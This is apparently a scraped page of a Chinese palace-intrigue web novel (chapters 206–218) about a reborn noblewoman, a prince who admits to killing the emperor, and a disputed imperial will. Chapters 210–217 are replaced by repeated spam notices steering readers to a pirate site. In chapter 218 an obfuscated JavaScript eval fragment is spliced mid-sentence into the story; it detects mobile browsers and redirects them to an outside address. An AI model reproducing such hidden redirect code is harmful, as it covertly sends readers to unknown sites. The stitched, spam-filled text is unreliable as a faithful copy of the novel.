“……陛下龙体一向康健,怎么就这么突然……”一位命妇对着身边的同伴说道。 偏殿小,尽管她们刻意压低声音,可说话的内容还是一字不落地传入姜姝宁的耳朵里。 “还能是为什么?”另一个声音立刻接了上来,语气里带着毫不掩饰的鄙夷,“还不是因为那个香贵妃!狐媚子一个,也不知使了什么手段,把先帝的魂儿都勾了去!我听夫君说,那香贵妃进宫后,先帝日日与她寻欢作乐,还被怂恿着服食那些虎狼之药,这铁打的身子也经不住这么掏空啊!” “天呐,竟有此事?那帮御史言官,岂不是把奏章都递爆了?” “可不是嘛!御史台天天骂那香贵妃是祸国妖妃,嚷着要让她殉葬谢罪。可太后和景王殿下,竟然都站出来为她说话!太后心疼小公主年纪尚幼,不能没了亲娘,这倒也罢了。可那景王……” 说到萧凌川,那妇人的声音又压低了几分,带着一丝畏惧和不解,“那景王殿下……瞧着可不像是会为了小公主费心的人啊,他怎么会帮着香贵妃说话?莫非……他们之间……” 另一个命妇像是被这大胆的猜测吓到了,连忙道:“嘘!你不要命了!小声些!如今这宫里,谁还敢乱嚼景王殿下的舌根?你忘了?就前几日,在画舫上跟三皇子殿下起了点口角,他竟当场就把三皇子的胳膊给砍了下来!这等睚眦必报的狠角色,咱们可惹不起!” 那先前说话的命妇一听,脸色瞬间煞白,下意识地用手捂住了自己的嘴,惊恐地四下张望,生怕隔墙有耳。 姜姝宁听到此处,手指猛地攥紧,指节泛白。 香贵妃不是萧修湛的人吗? 魅惑君王之罪何等严重,萧凌川为何替她说情? 这太奇怪了,完全不像他的行事作风。 他从来不是一个多管闲事,更不是一个会发善心的人。 一个可怕的念头,如同毒蛇般缠上了她的心脏,令她浑身冰冷。 难道……香贵妃表面上是萧修湛的人,实际上……她真正的主子,是萧凌川? 皇帝比前世早了一年驾崩,莫非是萧凌川借着香贵妃的手,暗中让皇帝服食了催命的药物? 这个猜测让姜姝宁不寒而栗。 她猛地想起那日画舫之上,他断掉萧修湛手臂时那双毫无波澜的眼睛。 不像一时冲动,更像是蓄谋已久的警告与示威。 他要的不只是萧修湛的一条手臂,他要的是整个天下。 而皇帝,是他通往权力之巅的最后一道阻碍。 所以,他除掉了他。 就在姜姝宁思绪翻涌之极,一道身影气势汹汹而来,未待她反应,便劈头盖脸朝她泼来一盏茶水。 她下意识抬手格挡,温热的茶水顿时顺着她的袖子落下。 一个咬牙切齿的声音响起:“姜姝宁,你这个害人精,你还有脸来!” 第207章 他的遗憾 第二百零七章 他的遗憾 姜姝宁抬眸,就看到姜瑶真那张因怨恨而扭曲的脸。 姜夫人忙上前,一边帮姜姝宁拭去衣襟上的茶渍,一边怒斥:“真儿,你这是何意?怎能将茶水泼在宁儿身上,成何体统!” 姜瑶真泪流满面,咬牙切齿道:“母亲,姐姐与景王狼狈为奸,在画舫上设局陷害三皇子,致他一臂残废,从此与皇位无缘!这天大的祸端,皆因姐姐而起,女儿怎能不恨?” 此言一出,偏殿内的命妇们齐齐倒吸一口凉气,投向姜姝宁的目光夹杂着鄙夷与畏惧,窃窃私语如潮水涌动。 姜姝宁冷笑,目光如刀,直刺姜瑶真:“三皇子妃好一副颠倒黑白的口舌!那日分明是三皇子率兵登上画舫,图谋不轨。若非如此,景王殿下怎会对他痛下狠手?难道三皇子妃敢说,他带兵登船是被逼的?” “你胡言乱语!”姜瑶真声嘶力竭,泪水与怨毒交织,“三皇子不过是忧心景王安危,前去探病罢了!哪有什么图谋?” “探病?”姜姝宁冷哼,步步紧逼,“谁探病带着一众侍卫,还将景王的亲卫尽数拿下?若非景王及时醒来,只怕早已落入三皇子的算计!三皇子妃若不服,大可请大理寺卿公堂对质,看看真相如何!到时候,怕是连三皇子最后一丝脸面都保不住!” “你……”姜瑶真气得面红耳赤,指着姜姝宁,语声颤抖,“你这心如蛇蝎的贱人,分明是你勾引三皇子,给了景王发作的由头!我真是倒霉,竟有你如此歹毒心肠的姐姐!” “住口!”一道冷厉如霜的女声骤然炸响,殿内霎时寂静。 众人循声望去,只见香贵妃一身缟素,气度雍容却寒意逼人,在宫女搀扶下缓步而来。 她目光如冰,定在姜瑶真身上,缓缓道:“三皇子妃,莫非上回本宫的教训你尚未长记性,今日还想再挨几记掌嘴吗?” 姜瑶真下意识捂住脸颊,眼中闪过一抹惊惧。 那十几记掌掴的痛楚,她敷了月余凝脂膏才堪堪消退,若再受罚,她这张引以为傲的容颜怕是保不住了。 她咬唇低眸,恨意滔天,却不敢再发一言。 姜姝宁清楚地从姜瑶真眼中捕捉到一闪而过的畏惧之色。 没想到向来跋扈嚣张的她,竟也有如此惶然失措的时候,着实罕见。 看来,这姜瑶真在香贵妃手中,定是吃了不小的亏。 香贵妃转而看向姜姝宁,顿时变得和颜悦色:“姜姑娘的丧服弄脏了,本宫正准备回芙蓉殿,不如随本宫同往,换一身干净衣裳如何?” 姜姝宁敏锐察觉到她是在向自己刻意示好。 她垂眸,语气恭敬却疏离:“谢贵妃娘娘美意,只是臣女衣衫略湿,无伤大雅,不敢叨扰娘娘。” 香贵妃身侧的宫女闻言,立即上前一步,语带威严:“姜姑娘,丧服整洁与否关乎皇家丧事礼节,还请姜姑娘莫要推辞!” 姜姝宁暗叹一声,知晓推脱不得,只得颔首应道:“既如此,便有劳贵妃娘娘了。” 在偏殿命妇们各怀心思的目光注视下,她随香贵妃缓步走向芙蓉殿。 她知道,换衣不过是个幌子,这位贵妃,分明是想与她私下攀谈。 果不其然,刚踏入芙蓉殿,香贵妃便敛去威仪,笑得亲切:“姜姑娘无需拘谨。日后若有人在宫中为难你,本宫定为你撑腰!” 姜姝宁心弦一紧,面上却不动声色。 她退后半步,淡然道:“贵妃娘娘厚爱,臣女感激不尽。只是,臣女有一惑,斗胆请教娘娘——娘娘因何对臣女如此照拂?” 她与香贵妃素无深交,这突如其来的示好对她而言并非庇护,而是负担。 香贵妃神色一僵。 她知道姜姝宁是景王心尖上的人,如今皇帝驾崩,宫中风云变幻,她欲借机拉拢姜姝宁,用以讨好景王,没想到姜姝宁竟如此戒备。 她很快掩去异色,笑意更深:“姜姑娘多虑了。本宫不过是见三皇子妃咄咄逼人,欺人太甚,这才出手相助。当初小公主满月宴时,本宫见你对小公主怜爱有加,甚是投缘。那日六皇子出言无状,是你与五皇子为本宫解围,本宫一直记在心上,今日不过借机还你一份人情罢了。” 姜姝宁闻言,紧绷的心绪稍缓,面上却仍带三分警惕:“娘娘言重了,不过举手之劳,娘娘竟还记得。” 香贵妃见她戒备稍退,趁热打铁,笑得愈发和蔼:“说起来,小公主如今已有七月,正是最玉雪可爱的时候。姜姑娘若不嫌弃,可愿一见?” 姜姝宁心头微动,还没来得及细想便脱口而出:“真的可以吗?” “自然!”香贵妃眼中笑意渐浓,立即吩咐:“来人,将小公主抱来给姜姑娘瞧瞧!” “是,娘娘!”宫女领命而去,不多时,便抱来一个粉雕玉琢的小女娃。 她身着雪白袄裙,双颊如熟透的桃儿,红扑扑地透着灵气,一见姜姝宁,便咧嘴露出无牙的笑,咯咯作响。 姜姝宁一见这小公主,心湖似被春风拂过,霎时柔 软得一塌糊涂。 她由衷感叹道:“小公主真可爱,仿若天上星辰落入凡间。” 香贵妃笑意更浓,柔声道:“姜姑娘若喜欢,不妨抱抱她。” 宫女小心翼翼将小公主递上。 姜姝宁伸双臂,接过那香软的小身子,满怀温热。 她低头看着小公主水汪汪的眼眸,笑得纯真无暇,方才对香贵妃的戒备与宫廷暗流的忐忑,竟在这一刻尽数消散,心中只余一片柔情。 香贵妃瞥见姜姝宁满心沉浸于小公主的笑靥,眼中闪过一抹精光,低声吩咐身旁宫人:“快去请景王殿下来芙蓉殿,就说姜姑娘在此。” 不多时,萧凌川在宫人引领下,步入芙蓉殿。 远远便瞧见姜姝宁怀抱小公主,笑靥如花,神色温柔得仿若一泓春水。 这一刻,她整个人仿佛笼罩在一层柔和光晕中,让人移不开眼睛。 他脚步微滞,刹那间,前世记忆如潮水涌上心头。 他想起她初嫁入王府那两年,每逢佛前许愿,她总是羞赧低语:“愿王爷心悦于我,妾身此生足矣。” 可到第三年,她的愿望就变了,在佛前低声呢喃:“妾身不敢再奢求王爷之爱,只愿能得一子嗣,最好是个女儿,伴我左右。” 又等了几年,还是没等到她想要的孩子,她心中郁结,在夜深人静时,跪于佛像前,泪光盈盈:“妾身孤身深宅,夫君不曾垂怜,若能有个孩子相伴,哪怕余生寂寥,也无所畏惧。” “求佛祖垂怜,赐我一女,妾身别无所求……” 然而,直到她香消玉殞,那份期盼终究未能成真。 萧凌川心头酸涩难当。 前世,他未能让她如愿,也从未告知她缘由。 如今重来一世,那未曾言说的遗憾,成了刺向他心口最锋利的剑。 姜姝宁或许不知道,成婚十年,膝下无子,不仅是她的遗憾。 也是他的。 第208章 逼他与门阀联姻 第二百零八章 逼他与门阀联姻 萧凌川步入芙蓉殿,宫人纷纷俯身行礼。 姜姝宁正逗 弄怀中小公主,听到动静,只能抱着小公主起身朝他福礼,眉眼间掠过一抹尴尬。 香贵妃掩唇轻笑,似是诧异:“景王殿下怎得亲临芙蓉殿?” 萧凌川目光扫过殿内,语气淡然:“父皇丧礼哀乐沉重,本王担心会惊扰小公主,便专程来看看。” 他嘴上这么说,视线却落在抱着小公主的姜姝宁身上,深邃莫测。 香贵妃闻言,笑意更浓,连忙接话:“景王殿下有心了。小公主一开始的确被丧乐惊扰,啼哭不止,幸好姜姑娘来了,她一见姜姑娘便安静下来,着实让本宫省了不少心。” 萧凌川顺势道:“既如此,姜姑娘便留在芙蓉殿陪小公主好了,不必去守丧了。” 姜姝宁一听忙将小公主交还宫女:“王爷说笑了。臣女入宫乃为陛下守丧,怎能在芙蓉殿偷闲?臣女这就回偏殿!” 说完,她朝萧凌川与香贵妃略施一礼,不等他们开口挽留,便步履匆匆朝殿门而去。 萧凌川眼中闪过一丝无奈,抬步跟上,温声道:“姝宁,守丧繁重,你何不留在芙蓉殿陪小公主?” 姜姝宁骤然止步,转身凝视他,目光清冷如霜:“王爷留臣女在芙蓉殿,是想让臣女与香贵妃交好吧?臣女不知王爷有何打算,但不得不叹一声,王爷果然好手段,竟能让三皇子的人改投麾下!” 萧凌川神色一僵,脱口道:“你是如何看出来的?” 姜姝宁唇角勾起一抹冷笑:“香贵妃殷勤示好,言辞间尽是拉拢之意,王爷现身时机又恰到好处,实在太明显了。但这些都不是臣女关心的。”她顿了顿,目光如冰,直刺他心,“臣女只想知道,陛下较前世提前一年驾崩,此事与王爷是否有关?” 她神色看似平静,袖中的手却暗自攥紧,掩不住微微颤抖——不知是畏惧眼前男人的城府,还是惧怕那深藏的真相。 萧凌川早料到姜姝宁会生疑。 毕竟,她与他一样都是重生的,对今生异于前世的种种,都洞察敏锐。 他与太后联手弑君之前,便已猜到她会看出端倪。 他沉默片刻,终是坦然应道:“是。” 姜姝宁身形微颤,眼底闪过一瞬惊恐。 难怪那日他在画舫上砍了萧修湛一臂时,说皇帝自顾不暇,没有心思管这些事。 原来,他早就知道,皇帝命不久矣! 萧凌川敏锐捕捉她眸中的惧意,语气一缓,沉声道:“姝宁,本王这么做是有原因的……” “王爷不必跟臣女解释!”姜姝宁骤然打断,声如寒霜,目光清冽:“臣女感谢王爷如实相告!人在做,天在看,还请王爷莫要轻视因果报应,望好自为之!” 说完,她疾步离去,背影决然,一副不欲再与他多纠缠的模样。 弑君杀父,还能有什么原因? 无非是觊觎大邺江山,意图将皇位据为己有! 姜家姨娘说得没错,萧凌川非大邺正统,体内流淌南月血脉,骨子里阴狠算计,竟连养育他的德源皇帝都敢杀害! 如今德源帝已陨,他下一步,怕是要对储君太子下毒手! 想到这,姜姝宁心口猛地一紧。 她想起顾晚樱每次提及太子时,那羞涩中带着甜意的笑靥。 若太子遭毒手,顾晚樱该如何伤心? 不行!她绝不能坐视萧凌川为争皇位,滥杀无辜,祸乱大邺! 姜姝宁回到偏殿,继续陪姜夫人一同为德源皇帝守丧,心中却暗自盘算如何牵制萧凌川,让他无法对太子下手。 丧礼持续了整整七日,皇宫笼罩在哀乐之中,肃杀沉重。 朝臣命妇皆宿于宫中,每日仅以粗茶淡饭果腹,其余时间则跪拜哭丧,哀声不绝。 依照大邺礼制,举国须为德源帝守丧一年,期间不得婚嫁、不得庆寿,举朝上下,皆沉浸于悲戚之中。 第七日,丧礼告终,众人褪下素白丧服,齐聚天坛,屏息凝神,恭待内阁宣读德源帝遗诏。 片刻后,内阁大学士手捧诏书,步履沉稳,登上天坛宣读遗诏: “朕自登基以来,承蒙天地神灵之庇佑,得以治理天下,历经风雨,终见太平。 朕在位期间,有功有过,愿后世子孙能明辨是非,继承朕之遗志,以保江山社稷之稳固。 朕特立此遗诏,以昭示天下: 一、朕之长子萧政贤,德才兼备,朕立其为皇太子,继承大统。朕希望他能勤政爱民,广纳贤才,以保我朝之繁荣昌盛。 二、朕之次子肃王萧锦瑜,忠肝义胆,朕之五子萧怀瑾,才思敏捷,朕希望他们能恪尽职守,保卫国家,不负朕之期望。 三、朕之三子萧修湛,朕封其为瑞王,封地五城,皆在大邺西部;朕之五子萧修湛,朕封其为宁王,封地五城,皆在大邺南部;瑞王和宁王乃国之栋梁,可以留在京城,协助新帝治理国事。 四、朕之四子景王萧凌川,虽才智过人,但身上有南月血脉,不宜协助治理国事,必须迁至封地,无召不得入京……” 听到遗诏里的这个要求,萧凌川唇角勾起一抹冷笑,骤然打断首辅,声如寒刃:“首辅大人,敢问此遗诏果真出自父皇之手?” “景王殿下!”首辅神色一凛,目光如霜,沉声斥道:“宣诏乃国之大礼,殿下公然扰乱,成何体统!此诏自是先帝亲定,殿下何来异议?” 萧凌川负手而立,目如寒星,冷声逼问:“既如此,本王倒要请教首辅,父皇究竟何时立下此诏?父皇驾崩当日,本王与皇祖母亲赴内阁求索遗诏,诸位百般推诿,迟迟未能呈上。如今却凭空冒出一份命本王远赴封地的诏书,首辅大人,敢问此诏可曾被人暗中篡改?” 此言如惊雷炸响,殿前群臣哗然,窃窃私语四起,气氛骤然紧绷。 “放肆!”首辅须发微颤,厉声喝道,“篡改遗诏乃欺君死罪,景王殿下就算不信老臣,怎能连整个内阁都不信?” 他话音刚落,内阁诸臣们便纷纷附和:“景王殿下,此诏确为先帝亲笔,臣等皆曾过目,字字真切!” “殿下若有疑虑,大可取遗诏验其真伪!” 萧凌川唇角冷笑更甚,目光如刀,直刺首辅:“诸位都是翻云覆雨的权术大家,要改一纸诏书,何其简单!本王生母虽为南月人,但与父皇感情深厚,南朔之战,更是立下赫赫战功!父皇怎会在遗诏中命本王远赴封地?此诏,必遭奸人暗中篡改!” 此时,太皇太后缓缓起身,声若沉钟:“景王所言不虚。他救过先帝一命,又亲自赴往南朔,解肃王之困,挫败南月人的诡计。这桩桩件件,先帝皆看在眼底,断不会以一纸遗诏,逼其离京赴封地。此诏,哀家亦觉得蹊跷。” 此言一出,殿内气氛骤凝,如被拉紧的弦,随时有崩断的可能。 首辅神色从容:“太皇太后言重了,遗诏尚未宣读完毕,还请景王殿下稍安勿躁,容老臣继续。” 说完,他便将遗诏的下半部分读了出来,“……若景王欲留京城,需与四大门阀联姻,朕方可安心。” 此言一出,萧凌川的脸色变得愈发难看。 一直沉默不语的五皇子萧怀瑾适时开口:“看来,父皇并非想逼四哥离开京城,而是想让四哥与四大家族联姻,好得到多方支持,以便日后在朝中立稳根基。父皇还真是用心良苦。” 他言辞温润,目光却有意无意扫向姜姝宁所在的方向,似藏深意。 姜姝宁立于人群之中,只觉此遗诏荒谬至极。 先帝为何在遗诏中定下如此奇怪的条件? 看起来像是在乱点鸳鸯谱。 前世的遗诏里,明明没这个条件的。 难道,真有人篡改遗诏? 第209章 玉牌赝品 第二百零九章 玉牌赝品 四大门阀为霍氏、王氏、崔氏与赵氏,势力盘根错节,贯穿朝野。 霍、王、崔三氏乃皇子母族,根基深厚,左右朝政;赵氏则为远在封地的雍王母族,声势虽远,却暗藏锋芒。 萧凌川生母是南月之人,与门阀素来疏远。 况且他睚眦必报,定然不会轻易答应联姻。 姜姝宁还记得前世他落魄时,门阀世家视他为南月蛮子,百般轻辱;待他权倾朝野,门阀又忙着送族中美貌女子,想给他做妾,全被他冷脸挡回。 今生他离皇位只有一步之遥,又怎会甘心与门阀联姻,日后给他人机会分他一本羹? 首辅宣读完遗诏,群臣跪拜,陆续退场。 姜姝宁余光瞥向萧凌川,只见他面沉如水,眉宇间暗藏锋芒,似在深思对策。 看来这遗诏让他颇为头疼。 她心想,萧凌川为联姻之事苦恼,短时间内应该无暇对太子下手。 她得尽快帮太子与太子妃想个对策,以防萧凌川狼子野心,谋害太子夺位。 她的确曾盼着萧凌川登上帝位——如此,大哥之仇可雪,萧修湛亦难逃一死。 但她不能眼睁睁看着萧凌川为了皇位,滥杀无辜。 姜瑶真凝视姜姝宁离去的背影,眼底闪过一丝阴鸷,朝身旁暗卫使了个眼色。 暗卫会意,悄然跟上,尾随姜姝宁出宫。 姜瑶真暗自咬牙,眼中闪过一丝恨意:“姜姝宁,萧凌川,你们害得三皇子与皇位无缘,我定要让你们付出代价!” 她冷笑一声,握紧拳头,“只要找到你们勾结的证据,休怪我心狠手辣!” 姜姝宁回到相府,立即提笔作画,将姜家姨娘临终前交给她的那块玉牌大致花纹勾勒出来。 等完成后,她携画前往玉器铺,选上等白玉,叮嘱掌柜依样雕琢一枚赝品,务求形神兼备。 她只顾着嘱咐掌柜的玉牌细节,没有察觉姜瑶真派来的暗卫就在不远处暗中窥视。 “姜姝宁要雕刻一枚玉牌?”姜瑶真皱眉,“你可看清那玉牌上的花纹?” 暗卫低声道:“属下远远一瞥,看到一只戴着宝石项圈的猫形图案。” 姜瑶真心头一震,那可是南月皇室的神兽图腾! 难道,那是能够证明南月皇室身份的玉牌? 可姜姝宁怎会知晓其模样? 来不及多想,她冷声吩咐:“你去玉器铺,命掌柜再雕一枚一模一样的玉牌,钱不是问题,但务必让他守口如瓶。另外,继续盯着姜姝宁,看她拿这玉牌到底有何打算!” “是,三皇子妃!”暗卫领命而去。 暗卫前往玉器铺,丢下几枚金锭,吩咐掌柜照姜姝宁的图样再雕一枚一样的玉牌。 掌柜见钱眼开,忙点头答应。 三天后,姜姝宁依约回到玉器铺,取了玉牌,付了银子,全然不知图样已被暗卫偷仿。 她回到相府,取出刻刀,小心在玉牌上补刻细节。 她故意没把全部花纹画在图纸上——这可是南月皇室的信物,机密至极,知道的人越少越好。 图纸只画了大致模样,细处她得亲手完成。 刻完后,她举起玉牌,对着阳光仔细瞧了瞧。 虽说玉质比真品差了点,但模样足以以假乱真。 想来要糊弄萧凌川也不是不可能。 这时,凌芜推门进来:“大小姐,饭好了!” 姜姝宁连忙把玉牌藏进袖子,语气平静:“凌芜,我要进宫一趟,饭就不吃了。你不用跟着,我自己去。” “大小姐!”凌芜想劝,却见她已快步出了门。 看着姜姝宁远去的背影,凌芜小声嘀咕:“大小姐最近神神秘秘的,到底在忙什么?为何不让我跟着?” 姜姝宁匆匆赶至东宫。 顾晚樱见到她,喜上眉梢:“姝宁,你怎么来了?” 姜姝宁将玉牌塞进她手心,脸色凝重:“晚樱,先帝刚驾崩,如今朝堂暗流涌动,各方势力虎视眈眈。太子体弱,你得护住他的储君之位,助他顺利登基!若景王从中作梗,就用这玉牌跟他谈条件,他绝不会拒绝!” “姝宁,到底怎么了?”顾晚樱低头看向掌心的玉牌,“这又是何物?” “晚樱,事情复杂,一时半会儿说不清。”姜姝宁深吸一口气,“总之,若景王与太子兄友弟恭,那是自然是最好。若他真想夺位,你们绝不能坐以待毙!这玉牌,就是你们唯一的筹码。” 顾晚樱闻言,神色渐沉,显然也察觉到萧凌川的勃勃野心。 她握紧玉牌,低声道:“姝宁,我明白了,谢谢你!这玉牌,我一定妥善保管!” 姜姝宁迟疑片刻,又叮嘱:“还有一事,你须得答应!这玉牌只能由你掌管,任何人不得触碰,连太子也不行!” 虽是赝品,但它是能证明南月皇室身份的物件,若落入歹人之手,恐给大邺招来大祸。 “好,我答应你!”顾晚樱郑重点头。 姜姝宁这才放心离去。 姜姝宁刚要踏出殿门,迎面撞上太子,她连忙敛衽行礼:“臣女见过太子殿下!” 登基大典尚未举行,她仍按旧例称他为太子。 “姜姑娘不必多礼!”太子萧政贤微微一笑,气色比前世好了许多。 虽仍有些清瘦,但病态已褪去不少,眉眼间透着温润之色。 “姜姑娘难得来东宫,不如留下用膳再走?”他笑意温和,语气诚恳。 “谢殿下美意,只是臣女家中还有要事,需先行告退。”姜姝宁婉拒,欠身退下。 太子目送她身影消失,这才转身回书房,笑着开口:“姜姑娘已走,五弟,你出来吧!” 萧怀瑾从书房屏风后步出,清隽俊逸的脸上带着几分复杂神色。 顾晚樱恰好走了进来,见状轻笑:“宁王,你方才躲什么?你不是一直想见姝宁吗?” 萧怀瑾未直接回答她,他目光微沉,问道:“皇嫂,姜姑娘来东宫找您,所为何事?” 顾晚樱想起姜姝宁的叮嘱,手指下意识攥紧袖中的玉牌,淡笑道:“没什么,她送来一物,说是能用来牵制景王。” “原来如此。”萧怀瑾唇角勾起一抹温润笑意,眼底却闪过一丝深思。 他方才躲了起来,是不愿让姜姝宁知道他与太子结盟。 如今看来,隐瞒似乎已无必要。 毕竟,她与他们一样,都有个共同的对手——萧凌川。 第210章 自作多情的笑话 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 第211章 避他如蛇蝎 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 当前为缓存页面,已不再更新 请前往 138du#cc 浏览最新章节 手机电脑都可访问 第212章 把她当成姜姝宁来恨 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第213章 情敌见面,分外眼红 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 您当前浏览的是试读内容 更多精彩尽在 138du。C( 一键收藏,随时畅读 第214章 当众逼婚 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 第215章 他封号的深意 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 第216章 醉酒 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 完整版内容已转移 138du。cc 继续阅读 书友交流,精彩不断 第217章 争着照顾醉酒的她 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 第218章 你的事,便是本王的事 第二百一十八章你的事,便是本王的事 “总之,我不许你再用那般方式喂她!”萧怀瑾气得浑身发抖,指着一旁瑟瑟发抖的婢女,“若非要如此……便让她来!” 那婢女正要应下,却对上萧凌川冷如冰霜的目光,那眼神里带着实质般的警告与杀意,吓得她双腿一软,脸色煞白。 “宁王殿下……奴婢、奴婢不会!” “口对口喂药,有何不会的!”萧怀瑾生怕萧凌川再有动作,沉声道,“既然你不会,那便立刻去找一个会的来!” “是,殿下!”婢女如蒙大赦,转身就想逃离这修罗场。 就在此时,凌风忽然开口,声音不大,却清晰地打断了房内剑拔**张的气氛。 “王爷,这酒壶里的酒,似乎还剩很多。” 说着,他将桌上那只酒壶递到了萧凌川面前。 萧凌川接过去掂了掂,壶身沉甸甸的,确实还剩大半。 他目光扫向那正要出门的婢女:“你们方才,只送了这一壶酒进来?” “回王爷,奴婢确实只给姜姑娘和姜贵妾送了一壶酒。”婢女战战兢兢地答道。 萧凌川蹙眉。 就算姜姝宁酒量再差,也绝不至于喝这么点酒,就醉到如此不省人事的地步。 不对劲。 他的目光飞快地扫过整个房间,最终定格在那盆烧得正旺的炭火上。 一股若有似无的、甜腻的异香正从中散发出来。 他脸色骤变,厉声吩咐:“灭了炭火,把所有门窗都打开!” 很快,房门窗户被悉数推开。 刺骨的寒风瞬间灌了进来,驱散了一室的暖意与诡谲的香气。 怀中的姜姝宁似乎被这寒意刺激,修长的睫毛轻轻颤了颤,缓缓睁开了眼。 意识从一片混沌的浓雾中挣扎而出,她只觉得头痛欲裂,而身体,正靠在一个坚实滚烫的胸膛里。 是萧凌川。 她下意识推开他,挣扎着站稳,神色间尽是茫然与困惑。 “姜姑娘,你没事吧?”萧怀瑾连忙上前一步,关切地问。 “我没事……”她扶着额头,环顾四周,声音还有些沙哑,“只是……不知怎的,竟会醉得这般厉害……你们怎么都在这里?” “你不是醉了,”萧凌川冷沉的声音响起,打破了她的疑惑,“是这炭火里被人动了手脚。你仔细想想,方才,有谁碰过这盆炭火?” 炭火? 姜姝宁想起方才姜莲背对着自己拨弄炭盆,还有自己交她时,她那如惊弓之鸟般的反应。 “是姜莲!”她脱口而出。 萧凌川立刻对凌风下令:“马上去找姜贵妾,务必把她带到本王面前!” “是,王爷!”凌风领命,身形一闪便消失在门外。 “姜姑娘,你妹妹为何要害你?”萧怀瑾难以置信地问。 “我也不知道……”姜姝宁眉头紧锁,心中一片冰凉。 难道是,萧修湛或者姜瑶真授意的? 她忽然想起什么,紧张地问,“我方才……可有做出什么出格之事?” 萧怀瑾闻言,一张俊脸瞬间涨红,满腔怒火地瞪向萧凌川:“做出出格之事的,另有其人!” 萧凌川却对此不以为然,他好整以暇地坐回桌边,慢条斯理地把玩着手中的酒杯:“五弟此言差矣。本王一心只想让姜姑娘早些醒来,何谈出格?何况姜姑娘自己都不在意本王以唇渡药,你又在这里激动什么?” “以唇渡药?” 这四个字像惊雷一样在姜姝宁耳边炸开,她的脸“轰”的一下,烧得通红,又羞又怒。 他竟然当着萧怀瑾的面…… 她只觉得无地自容,攥紧了拳头,对萧凌川道:“还请王爷尽快寻到臣女的三妹!臣女要当面问个清楚!” “姜姑娘放心,”萧凌川的目光却依旧锁着她,带着不可名状的亲昵,“你的事,便是本王的事。本王自会为你讨回公道。” 这话说得暧昧至极,仿佛她已是他的所有物。 姜姝宁又羞又恼,干脆别过脸去,不与他对视。 就在这时,凌风去而复返,神色是从未有过的仓惶。 萧凌川见他只身而回,周身的气压骤然一沉,声音冷得像冰:“姜贵妾人呢?” “启禀王爷!”凌风喘着粗气,急声道,“姜贵妾已经回了瑞王府!属下刚接到消息,景王府方才突然走水了!” “什么?”萧凌川猛地站起身,眼中迸射出骇人的寒光,“这究竟是怎么回事!” “属下也不知……王爷,火势不明,我们得赶紧回府!”凌风催促道。 萧怀瑾适时开口:“四哥,府中走水可大可小,您还是先回府处理要紧。姜姑娘这里,有我照顾,您尽可放心。” 萧凌川的视线在萧怀瑾那张“真诚”的脸上停顿了一瞬,又扫过一旁的姜姝宁,眼神愈发不虞。 “那就有劳五弟了。”萧凌川从齿缝里挤出两个字,转身便走。 临走前,他深深地看了姜姝宁一眼,那眼神复杂难明,看得姜姝宁满脸不适。 他一走,房中那股迫人的气势瞬间消散。 姜姝宁紧绷的神经稍稍一松,立刻朝萧怀瑾福身行礼:“宁王殿下,时候不早了,臣女在府上叨扰多时,也该告辞了。” 今日在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944546|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁王府所遇之事件件蹊跷,她心中不安,想早点离开。 “姜姑娘,”萧怀瑾叫住了她,“本王有几句话,想与你私下谈谈。” 说着,他给了身旁的婢女一个眼神。 婢女立刻会意,躬身退下,并将房门从外面轻轻带上。 见他如此郑重,姜姝宁心头一紧:“不知宁王殿下什么话要对臣女说?” 萧怀瑾看着她,目光深沉。 良久,他才缓缓开口:“那日,你去东宫……本王其实也在。” 姜姝宁陡然一惊:“殿下……” “姜姑娘莫要惊慌。”萧怀瑾前一步,轻轻握住了她的手。 他的掌心温暖而干燥,带着不容置喙的力量。 “本王知道,姜姑娘与本王立场相同。我们都站在太子这边。” 姜姝宁一愣。 原来,今生萧怀瑾站队的是太子萧政贤。 看来,萧凌川想坐上皇位,并非易事。 